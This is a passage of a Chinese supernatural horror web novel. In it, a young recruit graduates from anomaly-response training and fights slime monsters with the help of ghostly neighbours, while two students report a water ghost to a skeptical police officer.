阳光炽热而猛烈。宴泠昭正进行着俯卧撑训练,毒辣的太阳晒得他汗水淌得更厉害。
教官给他定下的目标是500组。这一项是对体能的训练,也是着重锻炼核心力量与上肢力量。
宴泠昭的身体有节奏地上下起伏,豆大的汗珠顺着脸颊滚滚滑落,浸湿了身下的水泥地。
做到一半时,教官的手机响了。教官看了一眼来电显示,随即对宴泠昭说了声:“继续!”便转身到一旁接电话去了。
没多久,教官结束了通话,快步走了回来。他神色凝重,目光落在宴泠昭身上,喊道:“起立。”
经过这段时间高强度的训练,宴泠昭早已养成了服从命令的习惯。听到指令,他没有任何犹豫,立即起身站好军姿。
教官用一种复杂难辨的眼神打量着宴泠昭,目光中既有欣赏,又夹杂着一丝担忧。沉默片刻后,他开口道:“来任务了。”
***
宴泠昭一脸茫然的被告知自己毕业了。
教官笑着拍了拍他的肩膀,笑容里透着自豪与欣慰,语气中满是赞赏的说道:“你是我带过学得最快、最优秀的学生,别怀疑自己的能力。以及,这话我只对你一个人说过,以往我跟学员们讲的都是你们是我带过最差的一届。”
宴泠昭:“”那很现实了。
两人在操场上闲聊了一会儿,朱德宏来了。
教官轻轻推了宴泠昭一把:“去吧!”
宿舍。
一路上,朱德宏并没有提及目的,只是说:“你先回去冲个澡,喝口水,咱们再慢慢聊。”
宴泠昭应了一声。他本来也不喜欢浑身被汗水浸透的黏腻感,能洗个澡再谈事,自然是再好不过。
洗完澡出来,一身清爽的宴泠昭身着干净的衣物,坐在沙发上,准备听朱德宏讲正事。
朱德宏看着眼前晒了这么多天太阳,皮肤却还白得发光的青年,不禁想起王玲玲说的话。
他原本的计划也因此发生了改变:本来,他是想以宴泠昭为核心组建一个行动小组。可照目前的情况来看,宴泠昭更适合独自执行任务。
收回飘远的思绪,朱德宏拿着手机操作了一番,而后抬起头,说道:“我把相关资料发给你了。接下来,我跟你详细说说这次任务,以及你具体需要做什么”
***
交代完事情,朱德宏离开了宴泠昭的宿舍。脑海中不断回响着小女孩稚嫩阴冷的声音:
【“其实我们也不清楚宴泠昭的身份,只知道月亮上有一个极其恐怖的存在,而这个存在与宴泠昭有着某种联系经历过几次红月后,我们大概摸清了一个规律——每隔三个月,当月月亮最圆的时候,祂的力量就会爆发。”
“不过说是爆发,我感觉更像是呼吸。”
“小区能够阻挡祂力量的散发。只要宴泠昭待在小区里,受到影响的就只有我们;但要是宴泠昭身处小区之外——你也看到了,影响范围之大,涉及全世界。”
“这个月还算幸运,那个恐怖存在没有投下祂的视线,只是祂的力量照常波动了一下,所以整体还算风平浪静,受伤的只有我们。”
“你应该也发现了,红月期间“我们”活动频繁,躁动不安。估计没少搞破坏死了不少人吧,不然你也不会来找我。”
“祂到底是谁?我不是说了么,只知道那是一个恐怖至极的存在除了宴泠昭,祂似乎对任何存在都毫不在意,我们只不过是受到了波及。好比你走路的时候,会留意脚下不经意间踩死的蚂蚁吗?” 】
***
新卫星发射升空,朝着月球的方向飞去。于第四天凌晨抵达月球轨道。
当卫星传回数据和图像时,所有人都被眼前的景象惊得目瞪口呆:月亮变成了一个巨大无比的红色肉瘤,表面凹凸不平,还不断地蠕动着,仿佛有生命一般,看得人一阵反胃。
而这还不是最可怕的,当科学家们将观测视角转向太阳时,更加惊悚的一幕出现了:太阳变成了一个由无数黑漆漆的触手组成的毛茸茸球体,这些触手摆动着,看得人毛骨悚然。
负责观测的科研人员们瞬间被恐惧笼罩,耳边传来细碎的呓语,强大的精神冲击使得他们的身体无法承受,许多人当场就炸成了一滩烂肉,根本来不及留下信息。
不过其中有几个人坚持的时间较长,他们都是上了年纪、在各自领域有着不菲成就的专家教授。
孔文山也在其列,他的双眼流淌着血泪,身体在无形的压力下颤抖不已,此刻他心中只有一个念头,那就是一定要把信息传递出去!
老人用尽全身力气,拿起笔,在面前的纸上费力地写下几个字:【月亮太阳不要看】
最后一个看字的末尾一笔拉得极长。
写完这几个字后,孔文山再也支撑不住,身体“轰”的一声炸开,化作一团血雾。
整个观测室内鲜血和残骸四处飞溅,宛如人间炼狱。
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
么么啾[星星眼][猫爪]
36 第 36 章
◎毕业!回家◎
2060年8月28日
宴泠昭拿着“新鲜出炉”的证件, 径直走向守在警戒线前的警察。
警察眼神警惕,看到宴泠昭走来, 目光立刻落在他手中的证件上。
宴泠昭将证件递上,警察仔细查看了一番,确认证件无误,点了点头,抬起警戒线,示意宴泠昭可以进去。
擦肩而过的瞬间, 宴泠昭瞥见警察右臂上佩戴的臂章并非平日里常见的盾形,而是造型凌厉的矛型,线条刚硬,透着一股肃杀之气。
宴泠昭想起知识课上曾专门讲过, 对付诡异事件的特殊部门其人员着装在细节上有着独特的标识,臂章便是其中之一。
值得一提的是不同形状的臂章代表着不同的职责和分工, 比如常见的盾型臂章就是普通警察、老百姓生活中常接触的那种。
说起来, 他还没拿到制服呢, 朱德宏也完全没有提及这件事,也不知道后续会如何安排。
收回思绪,将杂念抛出脑外,宴泠昭朝里走去。
负责看守的警察望着青年渐行渐远的背影, 直至其彻底消失在视野里。疑惑的想:这次执行任务的, 就只有一个人吗?
***
宴泠昭来到废弃厂房前, 厂房因长期无人打理,外墙破败, 窗户破碎, 玻璃碴子散落一地。从外面望进去, 能大致瞧见里头的轮廓, 看上去倒是一切平常。
可当宴泠昭跨过门槛,就像是踏入了另一个世界——刹那间,阴湿的凉意扑面而来,外面炽热的阳光仿佛被无形的屏障阻隔在外:厂房并非完全封闭,破碎的窗户也大咧咧的敞开着,但屋内却黑得像是不处于一个空间。
空气中弥漫着浓烈的灰尘味儿,厚得让人忍不住想要咳嗽,每呼吸一口,都能感觉到细微的尘埃颗粒刺得鼻腔和喉咙发痒。
因提前知晓情报,宴泠昭并未惊慌,他举起早已握在手中的手电筒,拇指轻按开关,一道明亮而笔直的光束瞬间穿透黑暗,直直射向前方
寂静中,只有宴泠昭的脚步声在厂房内回荡。
突然,一道轻响从左前方的角落传来。宴泠昭下意识举着手电筒照去,但未等他看清,一个黑漆漆的物体从阴影中向他扑了出来。
宴泠昭本能的往旁边躲闪,幸亏他这段时间接受了训练,否则根本反应不过来。
明亮的白光照在袭击者身上。这是一只形似史莱姆的诡异,身躯庞大,足有两米高、半米宽,宛如一座移动的小山丘。体表光滑湿润,不断有黑色黏液流淌而下,落地时发出令人头皮发麻的“吧嗒”声。
宴泠昭被恶心得汗毛都竖了起来。
史莱姆诡异一击偷袭不成,又是一击。
宴泠昭再次侧身一闪,试图躲开攻击。然而,史莱姆诡异的速度远比他想象得快,攻击方式也不止一个。
只见它分裂出一条粗壮的黏液触手,如闪电般迅捷朝宴泠昭拍去,“啪”的一声,重重抽在宴泠昭的肩膀上。
巨大的冲击力将宴泠昭击飞出去,宴泠昭重重摔落在地,扬起一片灰尘。
来不及起身,更多的触手席卷而来,如同黑色的蟒蛇,紧紧缠住宴泠昭的双腿。
触手的力量极大,宴泠昭感觉自己的双腿就像是被铁铸的枷锁锁住,丝毫动弹不得。并且,其上传来的寒意仿佛要侵入他的骨髓,冻得他冷不丁打了个寒颤。
深吸一口气,宴泠昭强迫自己冷静下来,飞速转动大脑,运用在训练时学到的体术技巧——双手撑地,腰部用力,试图翻转身体摆脱触手的纠缠。
可史莱姆诡异的身体就如同深不见底的泥潭,分裂出来的触手不禁坚韧无比,吸附力还强,每一次挣扎都只会让宴泠昭“陷”得更深。
黏液不断侵蚀着宴泠昭的衣物,冰冷的触感令宴泠昭的皮肤泛起一层鸡皮疙瘩。
很快,触手顺着宴泠昭的腿部向上蔓延,缠上宴泠昭的手臂。
宴泠昭清晰的感受到那股强大的力量正将他一点点拖向史莱姆诡异。回头望去,黑暗中,史莱姆诡异身体三分之一处高的位置有一个白色圆形,像是简笔画画上去的,如果忽略它的危险性,倒是蛮可爱的。
但——如果看清楚那嘴巴之所以是白色,完全是因为里面一圈圈如同蜗牛一样的森白锯齿,就不会觉得可爱了,只会感到毛骨悚然。
“怦怦、怦怦”
宴泠昭的心跳越来越快,与之相反的是他的表情越来越淡漠。甚至此刻他内心翻涌的不是面对危险时常见的恐惧害怕,亦或是对死亡的本能畏惧,而是不悦。
这股不悦感如同隐藏在平静海面下的暗流,逐渐涌动壮大。
史莱姆诡异的动作突然一顿,这短暂的停滞让宴泠昭捕捉到了机会。
宴泠昭拼尽最后一丝力气,从腰间抽出黑棍,狠狠抵住史莱姆诡异的嘴巴。那一圈圈锯齿咬合在黑棍上,发出尖锐的摩擦声,火花四溅。
随后,宴泠昭另一只手迅速拔出手枪,对着史莱姆诡异连开数枪。
“砰砰砰”
然而,子弹打在史莱姆诡异的身上,就如同石沉大海,被它那柔软却坚韧的身体轻易阻挡,只留下一个个浅浅的凹痕,没有起到任何作用。
但宴泠昭并未放弃,趁着史莱姆诡异继续莫名停顿的间隙,握紧黑棍,不断用力戳刺史莱姆诡异的口腔。当黑棍末端的尖刺一次又一次的刺伤史莱姆诡异,史莱姆诡异的身体开始出现松动,原本紧紧缠绕着宴泠昭的触手渐渐松开。
宴泠昭看准时机,集中全身力量,将黑棍深深插入史莱姆诡异的身体。
伴随一阵沉闷的尖啸,史莱姆诡异的身体剧烈颤抖起来,随后缓缓瘫倒在地,化作一滩黑色的黏液,而这滩黏液又很快蒸发、消失,宛如从来没存在过。
宴泠昭低低地喘着粗气,汗水浸湿了他的衣衫。
刚以为危险解除,准备松一口气时,令人毛骨悚然的黏糊声从四面八方传来。
宴泠昭翻身捡起掉落在一旁的手电筒,朝着四周扫射。
只见厂房的各个角落,涌出了更多的史莱姆诡异。它们缓慢的朝着宴泠昭围拢过来,每一步都伴随着黏液拖地的“沙沙”声。
冷汗从宴泠昭的额头滑落,砸在地上,印上一小片深色痕迹
“嘀嗒”
“嘀嗒嘀嗒”
滴水的声音愈发绵密,好似将有一场细雨降临。
空气不知何时变得潮湿,丝丝缕缕的水汽弥漫在四周,让人的皮肤都泛起了一层黏湿之感。
“骨碌碌”
一个圆滚滚的物体从黑暗深处滚了出来,一路精准避开所有机器,最终“咚”的一声,撞到了一只史莱姆诡异才停下。
被撞的史莱姆诡异顿住,脑袋以一种极其扭曲的姿态,扭转了 180 度,朝后方望去。但什么都没看到,愣了半天,它似乎才想起撞击是从“脚下”传来的,于是缓缓低头看去。
一张稚嫩的面庞映入它的视线——竟然是一颗小女孩的脑袋。
“咳咳,灰尘真大。”同一时刻,一个沧桑的老人音幽幽响起,声音仿佛来自遥远的地方,又好似就在耳边。
随着这声音的出现,工厂里那些本就陈旧的机械像是被施了时间魔法,迅速老化,铁锈层层剥落,零件嘎吱嘎吱作响。
相比之下,史莱姆诡异们表面上倒是没看出太大的变化,只是它们的动作变慢了。
“保护业主,是保安的职责。”一个略显单薄的身影缓缓走到宴泠昭身前。
身材瘦小的王大爷身高甚至只到宴泠昭的胸口,却毅然决然的呈保护姿态挡在宴泠昭身前。
随着他话音的落下,离得最近的几只史莱姆诡异遭受了规则层面的“降维打击”——一股无形的力量悄然降临,挤压着它们。
史莱姆诡异在这股力量的作用下,身体逐渐变得扁平,就像是被放进了液压机里。最终,“嘭”“嘭”几声闷响,它们的身体承受不住这股压力,纷纷炸开,浓稠的黑色黏液溅得到处都是。
“我的孙我的孙你在哪”一个年老女性的声音在史莱姆诡异群中响起,语气带着无尽的悲凉与焦急。
老人脚步蹒跚的在这些诡异中间走动,眼神迷茫而空洞。突然,她像是发现了什么,脚步一顿,脸上露出惊喜的神情,“我的孙,原来你在这里!”可下一秒,她的表情又变得疑惑起来,喃喃自语:“不对,你怎么变得这么大了”
刚说完,被她目光锁定的那只史莱姆诡异便发生了惊人的变化:它的身形迅速缩小,直至缩到拇指大小才停下,在地上无助地蠕动着。
年老女性阴森恐怖的面孔瞬间变得慈祥和蔼起来,仿佛换了一个人一般。她嘴角上扬,蹲下身子捡起变成拇指大小的史莱姆诡异,捧在手心里,眼神中满是疼爱。
而后,她又像是想起了什么,站起身来,继续在这片混乱中寻找她的孙子。
“我的孙,我的孙你在哪”
宴泠昭静静的看着眼前的一幕,情绪恢复了平静。
是了,他可不是一个人。
***
下午1:37分。
守在警戒线前的警察望着被封锁的区域出神。一个身影在这时缓缓从里面走了出来,警察认出其就是前不久前进去的侦查组的人(侦查组是国家对诡异部门战斗组的称呼)。
与一个小时前相比,青年的模样着实有些狼狈,脸上沾染着灰尘,衣服上更是东一块西一块的黑
倒是看不出哪里有受伤。
不过,只要人能活着出来就好。而能活着出来,多半也意味着问题得到了解决。
警察压抑着内心的激动,快步迎上前去,语气中带着一丝急切的问道:“解决了?”
宴泠昭微首,给予了肯定的答复。
见状,警察瞬间挺直身体,以无比标准的姿势行了一个礼,声音洪亮充满敬意的喊道:“辛苦了!”
这就是做好事的感觉吗。宴泠昭的内心隐秘地升起一点开心,嘴角不自觉微微上扬,露出一个淡淡的浅笑,回道:“为人民服务。”
浅棕色的眸子闪烁着明亮的光芒,在太阳的照耀下,淡得就好像金色。
***
回程路上,街道两旁绿树成荫,枝叶在微风中摇曳,发出沙沙的声响。鸟儿在枝头欢快的歌唱,叫声清脆悦耳,为平淡的午后增添了几分活跃的生机。
宴泠昭拿出手机给朱德宏打去电话,而那头也很快接通。
“已经解决了。”
“还好,只有一点擦伤。”
“对了,我想问下,衣服什么时候发”
2060年8月29日。
由朱德宏牵头,给宴泠昭举行了一场毕业“典礼”。
参与人员有教官,以及和宴泠昭在同一个操场上挥洒汗水的屠浩漫等人。人数不多,胜在自在。
毕竟都是自己人,宴泠昭也就不社恐了。
“典礼”有条不紊的进行着,其中一个重要项目,便是朱德宏为宴泠昭“颁发”衣服。
柔和的灯光聚焦在台上,将宴泠昭和朱德宏的身影照亮。
虽都是熟人,但这对社恐来说还是太过了。
宴泠昭紧张得身体都有些僵硬,心里甚至萌生出想要逃离的念头。然而,现场热烈的气氛以及台下一张张真诚的笑脸和一声声热情的鼓励,让他紧绷的心情一点点舒缓了下来。
面前的朱德宏面带微笑,双手捧着叠得整整齐齐、装在塑料袋里的衣服,郑重的递给自己。
宴泠昭微微躬身,双手接过这份特殊的毕业礼物。
“啪啪啪”
众人不约而同地鼓起掌。
最后的环节是拍照留念。
宴泠昭站在C位,略显拘谨。朱德宏笑着说道:“笑一下,别板着脸。”
闻言,宴泠昭抿了抿唇,努力扯起嘴角,露出一个略显生硬的笑容。
“咔嚓”一声,相机快门按下,将这一瞬间定格。
***
将装裱好的相片摆在桌面上,宴泠昭微微俯身,认真的调整着相框的角度,左挪一点,右移一些经过一番折腾,终于找到了一个令他满意的角度。
阳光透过窗户洒在相框上,为照片镀上一层柔和的光晕。
正在此时,厨房传来声音:“吃饭了。”
宴泠昭回头,只见除了下厨的田燕婉,其他邻居们都各自端着饭碗菜盘,将其一一摆放在茶几上。
一时间,客厅里弥漫着饭菜诱人的香气。
“我想喝饮料。”李小虎嚷嚷着。
身为食物链最底端的手机鬼眼睛滴溜溜转动,仔细观察了一下宴泠昭的表情,而后高高举起手,满脸讨好的说道:“我去买!”
饭后,李小虎又被大人们揪着去学习。
宴泠昭则转身返回卧室,准备码字。他都有好些天没更新了。
是的,宴泠昭回家了,还把原本放在客厅的电脑搬进了房间。毕竟家里热闹了,人来人往,客厅不再像自己住时那般安静
静静坐在电脑前,盯着电脑屏幕上的空白文档,宴泠昭的双手悬在键盘上方,宛如被施了定身咒一般,久久未曾落下。
时间仿佛凝固在这一刻。
一个坏消息:他卡文了。
算起来,已经有将近一个月的时间没有写文了,这段日子的搁置,似乎让他与写作之间失去了曾经亲密的关系。
所以,接下来该写什么?
越是思考,越是无力。
许久之后,宴泠昭默默放下双手,轻叹一口气,拿起手机,开刷。
说不定玩着玩着就能在不经意间寻找到灵感的火花。
点开某音,开屏便是一个营销号。说的是前几天有人用无人机拍摄到枫湖水库惊现水怪。
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
啾咪!=3=
37 第 37 章
◎《水鬼》开篇|说相声呢◎
【“近日, 摄影爱好者李先生像往常一样操控无人机进行拍摄,本想记录下水库的美丽风光, 却没想意外捕捉到了一个神秘黑影。”】
视频画面中,胡丰水库在阳光的照耀下泛着粼粼波光。无人机平稳地飞行在水库上空,镜头缓缓移动。
就在无人机飞到水库中心区域时,画面右下角的水域突然出现了异常。
起初,只是水面泛起了一些不规则的涟漪,紧接着, 水下隐隐约约浮现出一个硕大的黑影。这个黑影在水底缓慢游曳,身形极为庞大,仅仅是轮廓,就能让人感受到它的巨大体量, 仿佛一座移动的水下小山。
【“注意看,神秘黑影出现了——由于拍摄角度和水下环境的影响, 我们无法看清它的全貌, 但可以确定的是, 这绝不是普通的水生生物。”】
随着黑影的游动,能够看到一些丝丝缕缕的东西在黑影的边缘铺散开来。
【“神秘黑影拥有水生动物基本没有的皮毛、或者说毛发,为什么说基本?因为只有寒冷地带的水生动物才会长皮毛,而胡丰水库最低温只有零下六七度, 栖息于此的水生动物不可能长毛发。况且, 我们已知的拥有皮毛的水生动物没有这么大的体型, 且它们通常只分布在南北两极。”】
视频继续播放,神秘黑影似乎察觉到了来自上方无人机的窥视, 突然加快速度下潜, 很快便消失得无影无踪, 只留下水面上渐渐平息的涟漪。
【“隐藏在胡丰水库的神秘生物究竟是什么?是尚未被人类发现的新物种?还是传说中的水怪?”】
【“你认为胡丰水库的神秘黑影会是什么?快来评论区分享你的看法吧!”】
宴泠昭若有所思的看着自动循环播放的视频, 目光虽落在屏幕上,心思却早已飘远。
十几分钟悄然流逝,营销号播放到第13遍时,宴泠昭按下暂停键,将进度条拉到水下黑影出现的那一段,而后抬起头,修长的手指轻轻搭在键盘上,稍作停顿,指尖便开始在键盘上轻快地敲击,一个个文字被输入文档。
【《水鬼》 第一章
七月半,中元夜。胡丰村被一层薄薄的白雾笼罩,月光洒在村边的河面上,泛出清幽的冷光。
蔡凯是土生土长的胡丰村人,从小就听老人们讲村里那条河中有水鬼。小时候的蔡凯被吓得不敢去河边,长大后发觉这大概率是长辈们吓唬小孩不要去水边玩瞎编的故事,从此嗤之以鼻。
还总把这东西当作茶余饭后的消遣说给人听。可今天,不知道是不是受中元节刻板印象的影响,他没来由的总感到一阵心慌。
——大学同学阿强毕业后做的是自媒体工作,专门拍摄一些灵异题材的内容。想起读书时期蔡凯说自己家乡老人们编的水鬼故事,近段时间苦于没有素材的他立马联系蔡凯,聘请蔡凯给自己当导游。
蔡凯听闻报酬不菲,立马向老板请了几天病假,转身带着阿强回村“取景”
两人来到河边,四周静谧得有些反常,只有河水轻轻拍打岸边,发出的单调沉闷的声音。
阿强架好设备,准备用无人机进行拍摄。随着无人机嗡嗡作响升入夜空,阿强紧盯着屏幕,眼神中满是期待。
蔡凯站在一旁,不安的四处张望。
苍白的月光下,河面宛如一面镜子,倒映着天空中稀疏的星辰。
突然,阿强手中的屏幕上出现了异样:一个巨大的黑影在水底缓缓浮现,它的身形长条而庞大,周身环绕着一缕缕细长的东西,在水中飘荡,乍一看,像是女人的长发。
蔡凯的心脏猛的一缩,一种强烈的不安涌上心头。他凑近屏幕,死死盯着那个黑影,挤得阿强骂了几句,说他神经,然后兴奋的说:“我看你们河里不是有水鬼,是有某种大型生物!”
阿强思索着发网上肯定能吸引一波关注和热度,心中没有对未知生物的恐惧,只有对成名变红的渴望。
无人机传输回来的画面中,黑影在水底徘徊了片刻,似乎察觉到了来自上方的窥探,突然以一种极快的速度冲上水面。
蔡凯吓了一跳,喊道:“它要上来了,快跑!”
阿强不耐烦的让蔡凯别抓他,“你要走自己走,别耽误我。”
蔡凯僵在原地,不知如何是好,怕之后阿强以他跑路为由不给钱。正纠结着,随着黑影的靠近,屏幕上逐渐显现出一张模糊的人脸轮廓。
阿强瞳孔骤缩,终于意识到事情不对,大喊一声“卧槽什么东西!”,扔掉手中的设备,转身就跑。
而蔡凯早在看到人脸时就撒丫子跑了,根本不用不着阿强提醒。
两人发了疯的往村里跑,身后传来河水剧烈翻腾的声音,仿佛有什么东西从水底钻了出来,紧紧追在他们身后。
二人一路狂奔,脚下扬起阵阵尘土,风声从耳边呼啸而过。好不容易气喘吁吁地跑回到村里,
他们慌不择路地冲向最近的一户人家,阿强用力拍打门板:“开门啊!救命!”
然而,回应他们的只有死寂。屋内没有丝毫动静,仿佛根本没有人居住。
蔡凯见状忙跑到隔壁家,一边疯狂敲门,一边呼喊着村民们的名字。可依旧毫无回应,紧闭的大门如同冰冷的屏障,将他们的恐惧与绝望无情的挡在外面。
连着敲了好几家门都像是投入无底洞的石子,没有激起任何回响;家家户户的门窗皆关得严丝合缝,没有一丝灯光透出。
蔡凯和阿强站在空荡荡的村子中央,四周的房屋像是沉默的坟墓。二人的呼吸急促而紊乱,心跳声在寂静中格外响亮。】
***
2060年8月29日晚
G市盘山镇龙湖村
“宁鹏凯,你们村里的人都睡这么早的吗?睡眠质量还这么好”黄华强咽了口口水,声音颤抖的说道。
宁鹏凯喉咙干涩:“我感觉不对劲。”
“还用你说,老子两双眼睛都看见了——没想到你们村是真有鬼啊!有这玩意儿,怎么不告诉国家,给国家研究不好吗?你们还能拿到一笔搬迁费,糊涂啊!”
“那不是年轻的不信,老的忌讳,我要是知道,早打市长热线了!”宁鹏凯扯了扯嘴角,打嘴炮道。
龙湖村是宁鹏凯的老家,黄华强是宁鹏凯的大学同学,两人同时也是室友,因为相处的不错关系很好,成了好兄弟。
这段时间正值大学放暑假,黄华强因家中琐事纷争不断,搞得他心烦意乱,在一次与宁鹏凯的聊天吐槽中,将心中的烦闷一股脑儿的倒了出来。
宁鹏凯听后,思索片刻,问道:“要不你来我家玩?不过我家在村子里,生活条件比不上大城市那么便利。”
黄华强略作思考后觉得是个好主意,心动不如行动,立即就在手机上订好了机票,踏上了飞往宁鹏凯家乡的旅程。
当天宁鹏凯早早的赶到机场迎接黄华强。
两人坐在回乡的车上,一路畅谈。车窗外,景色不断变换,从繁华的都市逐渐过渡到宁静的乡村。
宁鹏凯兴致勃勃的跟黄华强聊起家乡的“八卦”,说着说着,想起一个月前刚到家时听奶奶说的一件新鲜事。
“我这次回村,听我奶奶说村里的河最近这段时间陆陆续续死了好几个人,我奶奶说是有水鬼索命。”
黄华强一听乐了:“哟呵,那这水鬼还挺新鲜——你见过吗?”
宁鹏凯摆了摆手:“没呢。这都什么时代了,相信科学,世界上根本就没有鬼。”
然而,谁能想到,没过多久,他们就遭遇了难以解释的恐怖之事。
黄华强此刻肠子都悔青了,心想早知道就不夜钓了。要是傍晚时分听宁鹏凯的话回去,说不定就不会陷入这可怕的境地。
可,看村子如今的状况,就算当时早早回来,又能好到哪里去呢?
想到这儿,黄华强满心郁闷,顺手从兜里掏出一根烟,点燃后深吸一口,尼古丁带来的短暂麻痹感稍稍缓解了他内心的恐惧。随后他又递给宁鹏凯一根,宁鹏凯默默接过,也点上了烟。
烟雾在两人间缭绕,黄华强抬起头,看着宁鹏凯,犹豫片刻后,还是把心中的疑惑说了出来:“老宁,若是你们村早就出了事,那为啥你安然无恙?还是说其实,你已经”
黄华强敢说出这番话证明他是真的对生死看淡无所谓了,抱着豁出去的心态讲的。毕竟,如果宁鹏凯真的有问题,他这话等于是在刺激对方,无异于自寻死路。
宁鹏凯没好气的回道:“那你现在已经死了。”
黄华强哈哈笑了两声。
之后两人就这么静静地蹲着,一边抽着烟,一边警惕留意着周围的动静,神经始终紧绷着,如惊弓之鸟。
不知过了多久,一声鸡鸣划破了漫长而死寂的黑夜。渐渐的,天边泛起了鱼肚白,黎明的曙光倾洒在这片沉睡的土地上。
死气沉沉的村子仿佛被注入了生的力量,重新恢复了生气。村民们陆续打开房门,扛着农具准备去田里劳作。
一位大叔路过村口,看见两个小伙子蹲在那儿,其中一个还是熟人,热情的喊道:“小宁,你和你同学蹲在这儿干啥子咧?”
黄华强和宁鹏凯对视一眼,从彼此的眼神中,皆看到了紧张和怀疑。
***
黄华强拿出手机解开屏锁,当看到信号终于恢复满格时,眼中闪过一丝惊喜,来不及多想,迅速打开出行软件,手指在屏幕上急切地点击着,购买回程机票。
看见屏幕上弹出“购买成功”的提示框,黄华强紧绷的神经放松下来,长长的舒了一口气,抬起头望向宁鹏凯:“看来白天就正常了老宁,你跟我一块儿走吧,你们村子太邪乎了。”
此刻的黄华强已然顾不得那么多,河边价值好几万的渔具还有留在住处的行李箱,统统都不要了——还好手机是随身携带的,不然还得倒回去拿。
倒不是因为手机最值钱,而是手机算是现代人的另一张脸面和凭证,没有手机寸步难行。
黄华强迫不及待的想要离开这个恐怖危险的地方。
然而,宁鹏凯却在这个关键时刻犹豫了,眼中满是纠结与担忧:“我奶奶”
黄华强愣了下,理解好兄弟的顾虑,急忙说道:“不差这一会儿功夫,咱们先出去,出去后马上报警。不过,前提是警察叔叔能相信咱们说的话。”
2060年8月30日上午10点33分
黄华强思来想去,排除了派出所,准备去公安局报案。
之所以做出这样的决定,是因为派出所身处基层,日常打交道的大多是些家长里短、鸡毛蒜皮的小事。就他们昨晚遭遇的那些离奇恐怖的事,跟人说,人家大概率只会认为你捣乱,瞎说,根本不可能信。
那公安局那边就会信了吗?自然不是。只是公安局毕竟规模大、影响广,他只要想办法引起足够的关注,不管信不信,公安局都会派人去村子看上一看。如此一来,龙湖村诡异的状况便能真相大白。
主意一定,黄华强心急火燎的拉着宁鹏凯就马不停蹄地朝市里的公安局赶去。
***
枫湖水库。
监控室。
工作人员聚精会神的盯着屏幕,画面是由水下机器实时传输回来的。
——几天前,有民众使用无人机拍摄时,意外发现枫湖水下出现了一个庞大的黑影,有关部门反应迅速,即刻组织力量展开调查。
实际上,一个月前枫湖水库就发生了一起令人痛心的悲剧:几名小学生不幸在此溺水身亡。
事后经过检测,发现存在阴性能量波动,种种迹象表明,那几个孩子或许是被诡异所害。
有关部门立即安排人手,围绕枫湖水库展开持续“勘测”工作。
然而,日子一天天过去,那股阴性能量波动逐渐减弱直至完全消失,都始终未能找到诡异的踪迹。
于是,不得不怀疑那个诡异已经离开了枫湖水库,遂将搜寻范围向外扩展,枫湖水库这边就停止了搜索。
好消息:这事在几天前有了新的进展。
朱德宏与宴泠昭进行了一次交谈,了解到了李小虎和李奶奶的情况,也与两人单独谈了话。
和他想的一样,李小虎就是那个失踪的三年级学生,而他也确实是被他的奶奶带走的,只不过他的奶奶早在6年前就因心梗去世。
那么李小虎又是如何出现在水库的呢?李小虎说是被王玲玲带的。
于是朱德宏又让宴泠昭叫来王玲玲对证。
王玲玲说自己只是单纯领着李小虎到水库,仅此而已。
至于李小虎的同学们,则是收到了李小虎的邀请,一同来水库玩耍。
朱德宏又问李小虎是怎么死的。
据李小虎讲述,起因是他们中的一个小伙伴溺水,其他人见状葫芦娃救爷爷一般,一个接一个的去营救,结果人没救上来,还搭上了自己的小命。
朱德宏得知事情全貌,着实没想到真相如此简单。
严格来说,这起事件本质上算是一场意外。虽说确实牵扯到了诡异,但诡异并未直接实施加害行为。
如果非要从法律角度评判,勉强算得上是“过失致人死亡罪”,可问题在于,诡异并非人类,又怎能用人类的法律去制裁?
就这样,这起灵异事件宣布“结案”,相关人手也被陆续召回。
然而,一波未平一波又起。刚消停没多久,马上就有人拍到水库“惊现神秘黑影”。
以枫湖水库现有的资源条件来看,根本不可能养育出如此巨大的生物,因为没有那么多的食物供给。
加上后续将拍摄到的影像拿给生物专家分析,专家们一致表示,绝不属于目前已知的任何一类生物。
面对这种情况,无论是将其视为诡异,还是一种全新的未知生物,以防万一,相关部门决定先按照应对诡异事件的标准——再次投放水下机器,密切观测水里的情况。
不过截至目前,阴性能量波动也好,神秘黑影真身也罢,都暂时没有任何发现。
直到。
黄华强:“真的!我亲眼看到的!就在那水里头哇,好家伙,那身形,大得能把人吓一跳!长得跟蛇似的,一长条儿,刚开始我瞅见还寻思呢,莫不是森蚺吧?可转念一想咱这地界儿哪来的森蚺?正犯嘀咕,琢磨着到底是啥稀罕玩意儿,嘿!您猜怎么着,那东西“哗”一下就从水底下冒了出来,居然顶着一张人脸!哎哟喂,可把我吓够呛,魂儿都快飞咯!”
黄华强一边说还一边比划:“当时我和我哥们儿撒丫子就往村里跑,本以为得救了!结果嘞,更邪乎的事儿来了!到了村子里,那些个村民就跟死了似的!任由我们扯着嗓子喊、大力猛拍门,最后是手都拍痛了,喉咙也哑了,可倒好,压根儿没人搭理我们!您说,这人世间还有比这更渗人的事儿吗?我跟您讲哦,当时那气氛,冷飕飕的,鸡皮疙瘩掉一地!我俩也不敢硬闯进人家屋里头哇,没办法,只能在那村路口干巴巴地蹲着,盼天亮。”
“等天大亮了,嚯!这村子一下子又活过来啦!您说说,这事儿怪不怪?”
警察:“天津人是吧?”
黄华强眼睛一亮,竖起大拇指:“哎哟喂,叔叔您可真是火眼金睛,神了呀!就凭这一句,您指定信我这话了吧!我对天发誓,句句属实,绝没瞎掰扯!”
警察:“说相声呢。”
【作者有话说】
感谢灌溉~[绿心]
感谢支持~[红心]
啾咪![星星眼][猫爪]
38 第 38 章
◎《水鬼》第二章|我就说真的有怪物◎
黄华强愣了下, 随即一拍大腿:“叔儿,您别不信呐!我可不是说相声逗闷子, 而是实实在在就这么一回事儿!您想啊,我吃饱了撑的跑这儿编瞎话来?这不“扰警”嘛,犯法的!”
警察皱着眉,上下打量了一番黄华强:“你说的这些实在是太离谱了,身形庞大像蛇还有人脸的怪物、村子一会儿没动静一会儿有动静——行了,我没空听你讲故事, 再不走就逮你了。”
黄华强急得直跺脚:“哎呀,警察叔叔!我知道这事儿听起来荒诞,可它就是真真切切发生了呀!要不这样,您跟我回村子一趟, 亲自去瞧瞧,到时候您就知道我胡没胡说了!”
警察板着脸, 很想把黄华强轰出去, 但转念想到最近上面的通知, 又忍了下来,耐着性子道:“不是我不想相信你,总之这事得按程序来。你先详细说说具体时间、地点,还有你那个所谓的朋友呢, 他能给你作证不?”
